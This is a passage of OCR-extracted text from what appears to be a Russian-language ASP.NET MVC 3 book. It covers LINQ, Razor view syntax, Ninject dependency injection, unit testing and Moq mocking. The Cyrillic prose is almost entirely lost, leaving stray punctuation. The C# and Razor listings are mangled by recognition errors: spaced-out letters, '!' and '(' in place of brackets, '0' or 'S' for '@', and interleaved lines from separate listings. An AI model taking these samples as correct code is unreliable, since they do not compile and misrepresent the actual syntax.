P r o d u c t [] p r o d u c t s = {
new P r od u ct {Name = " K a y a k " , C a t e g o r y = " W a t e r s p o r t s " , P r i c e = 275M},
new Pr oduct {Name = " L i f e j a c k e t " , C a t e g o r y = " W a t e r s p o r t s " , P r i c e = 48.95M},
new P r od u ct {Name = " S o c c e r b a l l " , C a t e g o r y = " S o c c e r " , P r i c e = 19. 50M} ,
new P r o du c t {Name = " C o r n e r f l a g " , C a t e g o r y = " S o c c e r " , P r i c e = 34.95M}
};
v a r r e s u lt s
= fro m
p ro d u c t in
p ro d u c ts
o rd e rb y p r o d u c t . P r ic e
s e le c t new
d e s c e n d in g
p r o d u c t.N a m e ,
p r o d u c t . P r ic e
>;
i n t co unt = 0;
//
foreach (var p in r e s u lt s ) {
Co n sole.W r i t e L i n e ( "Item :
i f ( ++co unt == 3) {
break;
}
}
{0},
Cost:
{1}",
p.Name, p . P r i c e ) ;
}
}
. S Q L - .
P r o d u c t
s e l e c t , , ,
. LINQ
. ,
P r o d u c t ,
. ,
.
, LINQ
.
, , .
P r o d u c t
5.28.
5.28. LINQ
u s i n g System;
using System .Linq ;
c l a s s Program {
s t a t i c v o i d M a i n ( s t r i n g [] a rg s) {
Pr od u c t [] p r o d u c t s = {
new P r o du c t {Name = " K a y a k " , C a t e g o r y = " W a t e r s p o r t s " , P r i c e = 275M},
new Pr oduct {Name = " L i f e j a c k e t " , C a t e g o r y = " W a t e r s p o r t s " , P r i c e = 48.95M},
new P r o d u c t {Name = " S o c c e r b a l l " , C a t e g o r y = ' S o c c e r " , P r i c e = 19. 50M} ,
new P r o d u c t {Name = " C o r n e r f l a g " , C a t e g o r y = " S o c c e r " , P r i c e = 34.95M}
};
5.
v a r r e s u lt s = p ro d u c ts
. O r d e r B y D e s c e n d in g ( = > e . P r i c e )
. T a k e (3 )
. S e l e c t (e = > new { e .N a m e , e . P r i c e
foreach (var p in r e s u l t s ) {
C o n s o l e . W r i t e L i n e ( " I t em:
}
{0},
Cost:
{1}",
109
}) ;
p.Name, p . P r i c e ) ;
}
}
, , LINQ, ,
, ,
LINQ #.
LINQ
. LINQ,
5.28, I E n u m e r a b l e < T > I E n u m e r a b l e < T > ,
.
5.1. LINQ
t r u e ,
Any
t ru e , , ,
Contains
t ru e ,
Count
First
FirstOrDefault
110
I. ASP.NET MVC 3
. 5.1
Last
L a s tO r D e fa u lt
M ax
M in
,
-
O rd e rB y
O rd e rB y D e s c e n d in g
,
-
R e v e rs e
S e le c t
S e le c tM a n y
S in g le
S in g le O r D e f a u l t
S k ip
S k ip W h ile
Sum
Take
T a k e W h ile
, ,
T o A rra y
T o D ic t io n a r y
T o L is t
W here
UNO
, . 5.1 .
LINQ. ,
, ,
IE n u m e r a b le < T > , 5.29.
5.29. LINQ
u s in g S y s te m ;
u s in g S y s t e m .L in q ;
c la s s P ro g ra m {
s t a t i c v o id M a i n ( s t r i n g [] a r g s )
5.
111
Product[] products = {
new Product {Name = "Kayak", Category = "Watersports", Price = 275M},
new Product (Name = "Lifejacket", Category = "Watersports", Price = 48.95M},
new Product (Name = "Soccer ball", Category = "Soccer", Price = 19.50M),
new Product {Name = "Corner flag", Category = "Soccer", Price = 34.95M)
};
var results = products
.OrderByDescending(e => e.Price)
.Take(3)
.Select(e => new { e.Name, e.Price });
products[2] = new Product { Name = "Stadium", Price = 79500M };
foreach (var p in results) {
Console.WriteLine("Item: (0), Cost: {1)", p.Name, p.Price);
)
)
_______________________________
Product, ,
. ,
Product,
. :
Item: Stadium, Cost: 79500
Item: Kayak, Cost: 275
Item: Lifejacket, Cost: 48.95
, ,
, S t a d i u m
Product . ,
LINQ.
5.30.
5.30. LINQ
using System;
using System.Linq;
class Program {
static void Main(string [] args) {
Product[] products = {
new Product {Name = "Kayak", Category = "Watersports", Price = 275M},
new Product {Name = "Lifejacket", Category = "Watersports", Price = 48.95M},
new Product {Name = "Soccer ball", Category = "Soccer", Price = 19.50M},
new Product {Name = "Corner flag", Category = "Soccer", Price = 34.95M}
};
var results = products.Sum (e => e.Price);
products[2] = new Product { Name = "Stadium", Price = 79500M };
Console.WriteLine("Sum:
}
}
{0:c}", results);
112
I. ASP.NET MVC 3
Sum
Sura: $378.40
,
.
Stadium ,
, LINQ,
,
. 5.31.
5.31.
using System;
using System.Linq;
class Program {
static void Main (string [] args)
Product[] products = {
new Product (Name = "Kayak", Category = "Watersports", Price = 275M},
new Product (Name = "Lifejacket", Category = "Watersports", Price = 48.95M},
new Product {Name = "Soccer ball", Category = "Soccer", Price = 19.50M},
new Product {Name = "Corner flag", Category = "Soccer", Price = 34.95M}
};
var results = products
.OrderByDescending(e => e.Price)
.Take (3)
.Select(e => new { e.Name, e,Price });
foreach (var p in results) {
Console.WriteLine("Item: {0}, Cost: {1}", p.Name, p.Price);
}
Console.WriteLine("---End of results---");
products[2] = new Product { Name = "Stadium", Price = 79500M };
foreach (var p in results) {
Console.WriteLine("Item: {0}, Cost:
>
, LINQ,
. ,
. :
Item: Kayak, Cost: 275
Item: Lifejacket, Cost: 48.95
Item: Corner flag, Cost: 34.95
-- End of results--Item: Stadium, Cost: 79500
Item: Kayak, Cost: 275
Item: Lifejacket, Cost: 48.95
-- End of results---
5.
113
, .
, -
L1NQ. ,
, ,
. ,
, ,
.
Razor
Razor MVC 3.
ASP.NET -, ,
. ,
ASPX <% %>,
ASP.NET.
Razor MVC
, @. ,
<% %>, Razor ,
.
Razor, , .
Razor,
. Razor
.
114
I. ASP.NET MVC 3
Razor,
M VC. , 3,
M V C 3. Razor.
,
Product.
Product.cs Models
5.32.
5,32.
namespace Razor.Models {
public class Product {
public
public
public
public
public
}
}
Product,
.
Controllers
Add (), Controller ().
ProductController (Controller name) Empty
controller ( ) Template (), . 5.1.
. 5 .1 . P r o d u c t C o n t r o l l e r
5.
115
A dd (), C o n t r o l l e r ,
,
5.33.
5.33.
using System.Web.Mvc;
using Razor.Models;
namespace Razor.Controllers {
public class ProductController : Controller {
public ActionResult Index!) {
Product myProduct = new Product {
ProductID = 1,
Name = "Kayak",
Description = "A boat for one person",
Category = "Watersports",
Price = 275M
};
return View(myProduct);
)
)
}____________________________________________________________________
Razor,
M V C .
Index P roduct View
.
, Index
ProductController Add View (
). Create a stro n g ly ty p e d view (
) P ro d u ct (Razor.
M odels), . 5.2.
. 5 .2 . Index
116
I. ASP.NET MVC 3
! Product ,
. Visual Studio
, .
MVC,
URL- / Index Product.
Global.asax RegisterRoutes.
routes.MapRoute. ,
controller, Default Product, 5.34.
5.34,
routes.MapRoute(
"Default",
//
"{controller}/{action}/{id}",
// URL
new { controller = "Product", action = "Index", id = UrIParameter.Optional }
);
, controller, Default Product
.
. 11.
Razor
Razor .cshtml,
.aspx, MVC ASP.NBT Web Forms.
MVC 3 - ASPX,
Razor, , ,
MVC Microsoft.
Index.cshtml , ,
5.35.
Razor.
5.35. Razor
@model R a z o r . M o d e l s . P r o d u c t
@{
= "In d ex ";
}
<h 2> In dex< /h 2>
, , 5.35,
. :
Smodel Razor.Models.Product
5.
117
Razor 0.
,
@model. 3,
. ,
@Model, 5.36.
5.36.
Srnodel Razor.Models.Product
0{
ViewBag.Title = "Index";
}
<h2>Name: 0Model. Name</h2>
, Razor ,
, . ,
m (@model),
(SModel). (
S ta r t Debugging ( ) Debug () Visual Studio),
, . 5.3.
. 5.3. 5.36
Razor
5.36 , Razor ,
:
<h2>Name:
@ M o d e l. Nam e</h2>
,
. #,
5.37.
5.37, Razor
Smodel Raz o r .M o d e l s .Product
0{
V ie w B a g .T itle
"Ind ex";
}
<h2>Name:
0 M o d e l . Nam e</h2>
Time v i e w r e n d e r e d :
0 D a t e T i m e . N o w . T o S h o r t T i m e S t r i n g ()
.
Razor HTML- .
0Model ,<_ > ,
5.37 .
118
I. ASP.NET MVC 3
Razor .
#, 5.38.
5.38.
0model R a z o r .M o d e l s .Product
@{
View Bag.T it le
"Ind ex";
}
<h2>Name: 0 M o d e l .N am e < / h 2 >
}
Time v i e w rendered: S D a t e T i m e .N o w . T o S h o r t T i m e S t r i n g ()
if,
, C a t e g o r y P r o d u c t
W a t e r s p o r t s . Razor , ,
i f HTML-,
, .
-, . 5.4.
. 5.4. if
,
HTML-, Razor .
5.39.
5.39. , HTML-
Smodel R a z o r .M o d e l s .Product
0{
V i e w B a g .Title = "Index";
)
<p />
Time view rendered: S D a t e T i m e .N o w .T o S h o r t T i m e S t r i n g ()
5.
119
,
H T M L -,
. @: Razor, ,
H T M L - ,
Razor,
. . 5.5.
. 5.5.
,
H T M L -, t e x t , 5.40.
@:.
5.40. T e x t
Smodel R a z o r . M o d e l s . P r o d u c t
@{
View Bag. T itle
= "Ind ex";
}
<h2>Name:
Sif
(S M o d e l.C a te g o r y ==
"W atersports")
<text>
Category: SModel.Category <b>Splash!</b>
<pre>
Row, row, row your boat,
Gently down the stream...
</pre>
</text>
}
<p / >
Time v i e w
rendered:
S D a t e T i m e . N o w . T o S h o r t T i m e S t r i n g ()
t e x t - Razor HTM L.
@:,
. . 5.6.
. 5 .6 . t e x t
120
I. ASP.NET MVC 3
,
@{ }.
5.41.
5 .4 1 .
0model Razor.Models.Product
@{
ViewBag.Title = "Index";
}
<h2>Name: SModel.Name</h2>
@{
if (Model.Category == "Watersports") {
Category: @Model.Category <b>Splash!</b>
}
if (Model.Price > 1 0 )
<h5>Pricey!</h5>
}
)
i f , .
. 5.7.
. 5 .7 .
, .
( ),
.
ViewBag
, ViewData
.
ViewBag. Product
5.42.
5 .4 2 . V ie w B a g
using System;
using System.Web.Mvc;
using Razor.Models;
namespace R a z o r .Controllers {
5.
121
};
ViewBag.ProcessingTime = DateTime.N o w .ToShortTimeString();
return View(myProduct);
}
)
}
ViewBag ,
. P r o c e s s i n g T i m e
, .
ViewBag ,
5.43.
5.43. V ie w B a g
0model Raz o r .M o d e l s .Product
0{
ViewBag.Title = "Index";
}
<h2>Name: @Model.Name</h2>
0{
if (Model.Category == "Watersports") {
<text>
<p>Description: SModel.Description <b> (Splash!) < / b x / p >
<p>Category: @Model.Category</p>
</text>
} else {
@ :Description: SModel.Description
}
}
View rendered at SViewBag.ProcessingTime
. 5.8.
. 5 .8 . V ie w B a g
122
I. ASP.NET MVC 3
ViewBag
ViewData , ,
. ,
, Visual Studio,
:
@{
ViewBag.Title = "Index";
}
, Index
Title. , .
, ,
Visual Studio, .
Add View ( ),
(. 5.9).
. 5 .9 . Razor
,
_viewstart. Views
M VC, _ViewStart.cshtml,
5.44.
5.44. _ V i e w S t a r t . c s h t m l
@{
Layout = "~/Views/Shared/_Layout.cshtml";
}
M V C _ViewStart.cshtml
,
. ,
_L a y o u t . c s h t m l
Views/Shared.
! , ( _) ,
, .
, Visual Studio,
, M V C
. , ,
,
. -
5.
123
, , ViewBag Index.
_Layout.cshtml 5.45.
5.45. _ L a y o u t .c s h t m l
<!DOCTYPE html>
<html>
<head>
<title>@ViewBag.Title</title>
<link href="@ U rl.Content("- /Con tent/Site. c s s ")"
type="text/css"
rel="stylesheet"
/>
Razor . Use
layout or master page , ,
5.46.
5.46. ,
0{
Layout = null;
<!DOCTYPE html>
<html>
<head>
<title>IndexNoTemplate</title>
</head>
<body>
<div>
</div>
</body>
</html>
- ,
, H T M L -,
html, hea d body.
124
I. ASP.NET MVC 3
, Layout n ull.
, _V iew S tart.
cshtml - .
,
M VC. LINQ,
.
, LINQ,
M VC.
Razor,
M V C 3. Razor ,
A S P X - <% %>, , , ,
, .
,
M V C
.
,
MVC
,
MVC.
: DI,
.
,
.
, . ,
, .
4, DI Ninject.
, . ,
, Ninject .
, , ,
DI Ninject .
Ninject , Unity
Microsoft.
,
Visual Studio 2010. , NUnit,
.NET.
NUnit, , Visual Studio 2010
,
(integrated development environment IDE)
.
Moq,
. Moq
, .
Moq, ; .
,
. ,
Rhino Mocks .
.
,
, ,
.
12 6
I. ASP.NET MVC 3
Ninject
DI 4. ,
M VC,
DI. 6.1 ,
, .
6.1. ,
public class Product {
public int ProductID { get; set; )
public string Name ( get; set; }
public string Description { get; set; }
public decimal Price { get; set; }
public string Category { set; get; }
}
public interface IValueCalculator {
decimal ValueProducts(params Product[] products);
)
public class LinqValueCalculator : IValueCalculator {
public decimal ValueProducts(params Product!] products)
return p roducts.Sum (p => p.Price);
}
}
Product , 5.
I V a l u e C a l c u l a t o r ,
P r o d u c t .
LinqValueCalculator, S um LINQ,
Price Product.
, IValueCalculator,
DI. 6.2.
6.2. I V a l u e C a l c u l a t o r
public class ShoppingCart (
private IValueCalculator calculator;
public ShoppingCart(IValueCalculator calcParam) (
calculator = calcParam;
)
public decimal CalculateStockValue() (
//
Product[] products = (
new Product () { Name = "Kayak", Price = 275M),
new Product!) { Name = "Lifejacket", Price = 48.95M],
new Product () ( Name = "Soccer ball", Price = 19.50M},
new Product () { Name = "Stadium", Price = 79500M}
};
//
decimal totalValue = calculator.ValueProducts(products);
//
return totalValue;
)
6. ,
127
. (DI)
S h o p p i n g C a r t IValueCalculator
. C a l c u l a t e S t o c k V a l u e Product,
ValueProducts IValueCalculator, ,
. . 6.1,
,
Sh o ppingCart LinqValueCalculator.
. 6.1.
S h o p p i n g C a r t LinqValueCalculator IValueCalculator,
S h o p p i n g C a r t LinqValueCalculator;
, LinqValueCalculator.
L i n q V a l u e C a l c u l a t o r
IValueC a l c u l a t o r , S h o p p i n g C a r t
.
! Prod u c t
. . Product
, ,
. MVC,
Product.
ShoppingCart
IValueCalculator
. Ninject DI.
Ninject ,
Visual Studio.
. Visual
Studio, Console Application ( ),
Windows. NinjectDemo,
. ,
6.1 6.2. #.
Ninject
Ninject , Visual
Studio. Solution Explorer (
) Add Package Library Reference (
), Add Library Package
Reference ( ). Online
128
I. ASP.NET MVC 3
() , Ninject
. , . 6.2.
Ninject
Ninject , Ninject.
, Ninject.
Program, Visual Studio
Console Application. Main.
6.3.
6.3. Ninject
using N inject;
class
Program
static
IKernel
v o i d M a i n ( s t r i n g []
ninjectKernel
args)
= new S t a n d a r d K e r n e l ( ) ;
6. , MVC
129
, Ninject .
, , .
Ninject,
IValueCalculator LinqValueCalculator.
Bind , IKernel,
6.4.
6.4. Ninject
class Program (
static void Main(string[] args) (
IKernel ninjectKernel = new StandardKernel();
ninjectKernel.Bind<IValueCalculator>().To<LinqValueCalculator<();
}
}
, , I V a l u e C a l c u l a t o r
LinqValueCalculator. ,
,
Bind,
. Ninject- Get
,
ShoppingCart (. 6.5).
6.5. Ninject
ninjectKernel.Bind<IValueCalculator>().To<LinqValueCalculator>();
//
IValueCalculator calclmpl = ninjectKernel.Get<IValueCalculator> ();
/ / ShoppingCart
ShoppingCart cart = new ShoppingCart(calclmpl);
//
Console.WriteLine("Total: (0:c}", c a r t .CalculateStockValue());
, ,
Get. Ninject ,
, IValueCalculator LinqValueCalculator,
. Shoppi n g C a r t
CalculateStockValue, , , ,
. :
Total: $79,843.45
,
Ninject,
LinqValueCalculator, :
ShoppingCart cart = new ShoppingCart(new LinqValueCalculator());
, , Ninject
,
Ninject .
Ninject.
5 4039
130
I. ASP.NET MVC 3
Ninject
. Ninject
.
,
6.6.
6.6.
public interface IDiscountHelper (
decimal ApplyDiscount(decimal totalParam);
}
}
ID is c o u n H e lp e r A p p ly D is c o u n t,
d e c im a l. D e fa u lt D is c o u n t e r H e lp e r
10- .
ID is c o u n t H e lp e r L in q V a lu e C a lc u la t o r
(. 6.7).
6.7. L i n q V a l u e C a l c u l a t o r
public class LinqValueCalculator : IValueCalculator {
private IDiscountHelper discounter;
public LinqValueCalculator(IDiscountHelper discountParam)
discounter = discountParam;
)
public decimal ValueProducts(params Product!] products) {
return discounter.ApplyDiscount(products.Sum(p => p.Price));
}
IDiscountHelper,
V a lu e P ro d u c ts
P ro d u c t.
ID is c o u n tH e lp e r Ninject,
IV a lu e C a lc u la t o r (. 6.8).
6.8.
IKernel ninjectKernel = new StandardKernel ();
ninjectKernel.Bind<IValueCalculator>().To<LinqValueCalculator>();
ninjectKernel.Bind<IDiscountHelper>().To<DefaultDiscountHelper>();
/ /
IValueCalculator calclmpl = ninjectKernel.Get<IValueCalculator>();
ShoppingCart cart = new ShoppingCart(calclmpl);
Console.Writ e L i n e ("Total: {0: }", car t .CalculateStockValue());
6. ,
131
, 6.8 ,
Ninject. , IValueCalculator,
.
Ninject , IV a l u e C a l c u l a t o r
L i nqValueCalculator. Ninject ,
, . Ninject
DefaultDiscountHelper, L i n q V a l ueCalculator
IValueCalculator. Ninject
, ,
.
Ninject ,
.
S t a n d a r d D i s c o u n t H e l p e r ,
(. 6.9).
6.9.,
public class DefaultDiscountHelper : IDiscountHelper {
public decimal DiscountSize { get; set; }
public decimal ApplyDiscount(decimal totalParam) (
return (totalParam - (DiscountSize / 100m * totalParam));
)
)
Ninject
W i t h P r o p e r t y V a l u e D i s c o u n t S i z e
DefaultDiscountHelper, 6.10.
,
. ShoppingCart,
- , Get.
DefaultDiscountHelper
.
:
Total: $39,921.73
,
W i t h P r o p e r t y V a l u e .
. 6.11
DefaultDiscounter,
.
132
I. ASP.NET MVC 3
6.11.
public class DefaultDiscountHelper : IDiscountHelper {
private decimal discountRate;
public DefaultDiscountHelper(decimal discountParam) {
discountRate = discountParam;
}
public decimal ApplyDiscount(decimal totalParam) {
return (totalParam - (discountRate/ 100m * totalParam));
)
N inject,
WithCo n s t r u c t o r A r g u m e n t (. 6.12).
6.12. ,
IKernel ninjectKernel = new StandardKernel ();
ninjectKernel.Bind<IValueCalculator>().To<LinqValueCalculator>();
ninjectKernel.Bind<IDiscountHelper>()
.To< DefaultDiscountHelper> () .WithConstructorArgument ("discountParam" , 50M) ;
. :
. N inject , ,
.
N inject
, (, ,
) N inject. ,
,
, ..:
IValueCalculator calclmpl = ninjectKernel.Get<IValueCalculator>();
ShoppingCart cart = new ShoppingCart(calclmpl);
S h o p p i n g C a r t
N inject IValueCalculator.
6.1 3 .
6.13. Ninject
ShoppingCart cart = ninjectKernel.Get<ShoppingCart> ();
. N inject
, , ,
.
, . -
6. , MVC
133
,
, Ninject.
, ,
,
. ToSelf,
6.14.
6.14.
ninjectKernel.Bind<ShoppingCart> () .ToSelf() .WithParameter)
"<_>", <_>);
ShoppingCart ,
W i t h P a r a m e t e r ().
.
(
MVC), Ninject
. ,
,
. 6.15 ShoppingCart,
, LimitShoppingCart,
,
, .
6.15.
public class ShoppingCart {
protected IValueCalculator calculator;
protected Product!] products;
public ShoppingCart(IValueCalculator calcParam) {
calculator = calcParam;
//
products = new[] {
new Product () { Name = "Kayak", Price = 275M},
new Product () { Name = "Lifejacket", Price = 48.95M),
new Product)) { Name = "Soccer ball", Price = 19.50M),
new Product () { Name = "Stadium", Price = 79500M}
};
1
public virtual decimal CalculateStockValue() {
//
decimal totalValue = calculator.ValueProducts(products);
//
return totalValue;
}
}
public class LimitShoppingCart : ShoppingCart (
public LimitShoppingCart(IValueCalculator calcParam)
: base(calcParam) {
// -
1 34
I. ASP.NET MVC 3
public override decimal CalculateStockValue() {
// ,
var filteredProducts = products
.Where( => e.Price < ItemLimit);
//
return calculator.ValueProducts(filteredProducts.T o A r r a y ());
}
public decimal ItemLimit ( get; set; }
}
,
Ninject, ,
6.16.
6.16.
ninjectKernel.Bind<ShoppingCart>()
.To<LimitShoppingCart>()
.WithPropertyValue("ItemLimit", 200M);
Ninject
,
.
IValueCalculator IterativeValueCalculator,
6.17.
6.17. I V a l u e C a l c u l a t o r
public class IterativeValueCalculator : IValueCalculator (
public decimal ValueProducts(params Product!] products) (
decimal totalValue = 0;
foreach (Product p in products) (
totalValue += p.Price;
}
return totalValue;
, ,
Ninject, .
6.18.
6.18. Ninject
ninjectKernel.Bind<IValueCalculator>().To<LinqValueCalculator>() ;
ninjectKernel.Bind<IValueCalculator>()
6. , MVC
135
.To<IterativeValueCalculator>()
.WhenInjectedInto<LimitShoppingCart>();
,
I V a l u e C a l c u l a t o r I t e r a t i v e V a l u e C a l c u l a t o r ,
, ,
LimitShoppingCart.
IValueC a l c u l a t o r
. Ninject ,
,
.. Ninject
. . 6.1.
6.1. Ninject
When (predigate)
,
(predicate) - true
WhenClassHas<T>()
,
,
WhenInjectedInto<T>()
,
( . 6.18)
6.19. N i n j e c t C o n t r o l l e r F a c t o r y
using
using
using
using
using
using
System;
System.Web.Mvc;
System.Web.Routing;
Ninject;
NinjectDemo.Models.Abstract;
NinjectDemo.Models.Concrete;
namespace NinjectDemo.Infrastructure {
public class NinjectControllerFactory : DefaultControllerFactory {
private IKernel ninjectKernel;
public NinjectControllerFactory() {
ninjectKernel = new StandardKernel ();
AddBindings();
136
I. ASP.NET MVC 3
protected override IController GetControllerlnstance (
RequestContext requestContext, Type controllerType) {
return controllerType == null
? null
: (IController)ninjectKernel.Get(controllerType);
}
private void AddBindings() {
//
ninjectKernel.Bind<IProductRepository>().To<FakeProductRepository>();
}
)
)
Ninject
, GetCo n t r o l l e r l n s t a n c e ,
MVC, .
Ninject.
, , System.Web.Mvc.Controller.
A d d B i n d i n g s Ninject
, .
,
.
MVC Framework,
A p p l i c a t i o n _ S t a r t Global.asax,
6.20.
6.20. N i n j e c t C o n t r o l l e r F a c t o r y
MVC Framework
protected void Application_Start () {
AreaRegistration.RegisterAllAreas ();
RegisterGlobalFilters(GlobalFilters.Filters);
RegisterRoutes(RouteTable.Routes);
ControllerBuilder.Current.SetControllerFactory(new NinjectControllerFactory());
}
MVC Framework N i n j e c t C o n trollerFactory
, a Ninject
.
, ,
IProductRepository, FakeProductRepository, Product ..
Ninject MVC,
,
. ,
. ,
, ,
.
, ,
Ninject. DI
.
6. , MVC
137
Visual Studio
.NET.
.
,
Visual Studio 2010. Visual Studio ,
.
.NET. ,
NUnit. ,
Visual Studio ,
IDE-,
.
.
! Microsoft Visual Web Developer Express
.
Visual Studio. ' Web Developer Express,
NUnit (w w w .n u n it .o r g ), ,
.
.
. ProductApp.
, 6.21.
6 .2 1 .
}
public interface IPriceReducer {
void ReducePrices(decimal priceReduction);
Product ,
. IProductRepository ,
Product. IP r i c e R e d u c e r
, Products,
, priceReduction.
138
I. ASP.NET MVC 3
IPriceReducer,
.
Product .
pr i ceReduction .
U p d a t e P r o d u c t
Product.
$1.
, FakeRepository,
IProductRepository, 6.22.
6.22. F a k e R e p o s it o r y
public class FakeRepository : IProductRepository {
private Product [] products = {
new Product () { Name = "Kayak", Price = 27 5M},
new Product () { Name = "Lifejacket", Price = 48.95M},
new Product () { Name = "Soccer ball", Price = 19.50M),
new Product () { Name = "Stadium", Price = 79500M}
};
public IEnumerable<Product> GetProducts() {
return products;
}
public void UpdateProduct(Product productParam)
foreach(Product p in products
.Where(e => e.Name == productParam.Name)
.Select(e => e ) ) {
p.Price = productParam.Price;
UpdateProductCallCount++;
}
public int UpdateProductCallCount { get; set; }
public decimal GetTotalValue () (
return p roducts.Sum(e => e.Price);
.
MyPriceReducer, IPriceReducer.
6.23.
6.23. M y P r i c e R e d u c e r
p u b lic
class
p r iv a te
M y P riceR ed u c er
IP ro d u ctR e p o sito ry
IP ric e R e d u ce r
r ep o sito ry ;
repo)
re p o s it o r y = rep o ;
)
p u b lic v o id
R e d u c e P r ic e s (d e c im a l p r ic e R e d u c tio n )
th r o w new N o t l m p l e m e n t e d E x c e p t i o n ( ) ;
6. ,
139
R e d u c e P r i c e s , ,
I P r o d u c t R e p o s i t o r y .
, Ninject
(Library Package Manager), , - Ninject.
TDD
. Visual Studio
M y P r i c e R e d u c e r . R e d u c e P r i c e s Create Unit Tests
( ), . 6.3.
. 6.3.
Visual Studio Create Unit Tests (
), . 6.4. , ,
, .
R e d u c e P r i c e s M y P r i c e R e d u c e r , .
. 6 .4 .
140
I. ASP.NET MVC 3
.
, Output Project ( )
. , Visual
Studio (. 6.5).
< __ >. T e s t s .
P r o d u c t A p p , P r o d u c t A p p . T e s t s .
. 6.5.
Create (), . Visual
Studio . R e fe r e n c e s
Solution Explorer, , Visual Studio
, Ninject.
, M y P ric e R e d u c e rT e s t.c s ,
; ,
. ,
, .
, 6.24.
6.24.
using
Sy s te m .C o lle c t io n s .G e n e r ic ;
using
S y s te m .L in q ;
ProductApp. Tests
[TestClass]
public
class
M yPriceReducerTest
[TestMethod]
p ublic
//
void A ll_Prices_Are_Changed)
FakeRepository
decim al
repo = new F a k e R e p o s i t o r y ( ) ;
initialPrices
M yPriceReducer target
//
= p r ic e s .ToArray();
= new M y P r i c e R e d u c e r (rep o ) ;
t a r g e t .ReducePrices(reductionA m ount);
p rices.Z ip(initialPrices,
if
(pi
== p2)
A s s e r t . F a i l () ;
}
return p i;
)) ;
}
}
(pi,
p2)
=>
=> e . P r i c e ) ;
6. , MVC
141
6.24 ,
Visual Studio . TestClass
, , TestMethod ,
. , ,
Visual Studio.
, /
/".
, ,
. A l l _ P r i c e s _ A r e _ C h a n g e d (_
_). .
, . ,
( ).
A l l P r i c e s A r e _ C h a n g e d
LINQ,
Product,
FakeRepository. LINQ- Zip,
. ,
Asset.Fail,
.
.
,
.
,
.
. -, ,
. -,
, . ,
, ,
//
.
TDD, (.
6.25).
6.25.
[TestMethod]
public void Correct_Total_Reduction_Amount() {
//
FakeRepository repo = new FakeRepository();
decimal reductionAmount = 10;
decimal initialTotal = rep o .GetTotalValue();
MyPriceReducer target = new MyPriceReducer(repo);
//
target.ReducePrices(reductionAmount);
//
A ss e r t .AreEgual(repo.GetTotalValue(),
(initialTotal - (rep o .GetProducts().Count () * reductionAmount)));)
[TestMethod]
public void No_Price_Less_Than_One Dollar() (
//
FakeRepository repo = new FakeRepository!);
decimal reductionAmount = decimal.MaxValue;
MyPriceReducer target = new MyPriceReducer(repo) ;
1 42
I. ASP.NET MVC 3
//
t a r g e t . R e d u c e P r ic e s (r e d u c t io n A m o u n t);
//
foreach
(P r o d u c t p r o d
in
A s s e r t . Is T r u e (p r o d . P ric e
>= 1 ) ;
.
M y P r i c e R e d u c e r .
R e d u c e P r i c e s ,
F a k e R e p o sito ry
A s s e r t . ,
. A s s e r t ,
, . 6.2.
6.2.
A r e E q u a l < T > (, )
A r e E q u a l < T > (T , , s t r i n g )
A r e N o t E q u a l< T > (T ,
A r e N o t E q u a l < T > (T , , s t r i n g )
A re S a m e < T > (T ,
A re S a m e < T > (T ,
, s t r i n g )
A r e N o t S a m e < T > (T , T)
A re N o t S a m e < T > (T ,
, s t r i n g )
F ailO
F a il(s t r in g )
Inconclusive ()
In c o n c lu s iv e (s tr in g )
I s T r u e (b o o l )
Is T r u e (b o o l,
, t r u e
,
string )
I s F a l s e (b o o l )
Is F a ls e (b o o l,
false
strin g )
IsNull (object)
Is N u ll(o b je c t ,
strin g )
Is N o tN u ll(o b je c t )
Is N o tN u ll(o b je c t ,
string )
Is In s ta n c e O fT y p e (o b je c t,
Type)
Is In s ta n c e O fT y p e (o b je c t,
Type,
string )
Is N o t ln s t a n c e O f T y p e (o b je c t , Type)
Is N o t ln s t a n c e O fT y p e (o b je c t , T ype,
string )
6. , MVC
1 43
A s s e r t -
.
, .
, .
,
string.
. A r e E q u a l A r e N o t E q u a l
, . ,
, .
ExceptionExpected.
, ,
ExceptionType.
try...catch
.
( )
. 6.2 ,
. , Run ()
Test Visual Studio, All Tests in S olution ( ).
Visual Studio ,
TestClass TestMethod.
. Run All ( ) T estO D eb ug (), Visual
Studio ,
.
.
Test Results ( )
.
,
, . 6.6.
. 6.6.
. ,
Test Results
View Test Results Details ( ).
144
I. ASP.NET MVC 3
, , ,
.
ReducePrices (.
6.26).
6.26.
public class MyPriceReducer : IPriceReducer {
private IProductRepository repository;
public MyPriceReducer(IProductRepository repo) {
repository = repo;
}
public void ReducePrices(decimal priceReduction) {
foreach (Product p in repository.GetProducts()) {
p.Price = M a t h .M a x ( p .Price - priceReduction, 1);
repository.UpdateProduct(p);
}
}
}
. , . 6.7,
.
. 6.7.
. ,
Visual Studio
.
, .
, ,
,
.
, M S D N .
Moq
,
. ,
, FakeRepository.
6. ,
145
( ,
).
F a k e R e p o s i t o r y
IProductRepository. ,
. ,
. ,
. , ,
U p d a t e P r o d u c t ,
. ,
Product.
- ,
F a k e R e p o s i t o r y ( ,
). Moq ,
, .
Moq
,
,
. , , ,
.
, ,
,
.
, ,
, .
,
, .
Moq .
<>, ,
(. 6.27).
6.27.
Mock<IProductRepository> mock = new Mock<IProductRepository>();
,
. Moq
, ,
. , IPro d u c t R e p o s i t o r y . G e t P r o d u c t s
IEnumerable<Product>. , Moq ,
Setup, 6.28.
146
I. ASP.NET MVC 3
6.28. Moq
P ro d u ct!] products
new Produ ctO {
new Produ ctO {
new Produ ctO {
new Produ ctO (
= new P ro d u ct!] {
Name = "Kayak", P r ic e = 275M},
Name = " L i f e j a c k e t " , P r ic e = 48.95M},
Name = "S o ccer b a l l " , P r ic e = 19.50M),
Name = "Stadium ", P r ic e = 79500M}
};
m o c k .Setup(m => m.GetProducts()).Returns(products);
Moq ,
.
Moq
. Moq , LINQ -
. Setup Moq ,
. , LINQ,
, ,
-. ,
G etP rod u cts,
:
mock.Setup(m => m. GetProducts () ) . (<. . . . . .>) ;
,
, , .
G e tP r o d u c ts , .
, , :
.
Moq
, Moq
, . G etProducts ,
:
p u b lic in t e r fa c e IM y ln te rfa c e {
s t r in g P ro ce ssM es sa g e(strin g m essage);
}
6.29 ,
.
6.29. Moq
M ock<IM yInterface> mock = new M ock<IM yIn terface>( ) ;
mock.Setup(m => m. ProcessMessage("hello")) .Returns("Hi there");
mock.Setupfm => m. ProcessM essage( " b y e " ) ) . R etu rn s("S ee you s o o n ");
Moq Hi th e re ,
P rocessM essa ge h e llo , See
you soon, bye.
Moq
n u ll, s t r in g .
6. , MVC
147
. ,
, ,
, . . Moq
I t ,
. :
mock. Setup ( => m. ProcessMessage (It.IsAny<string>())) .Returns ("Message received");
I t ,
. IsAny, s t r i n g
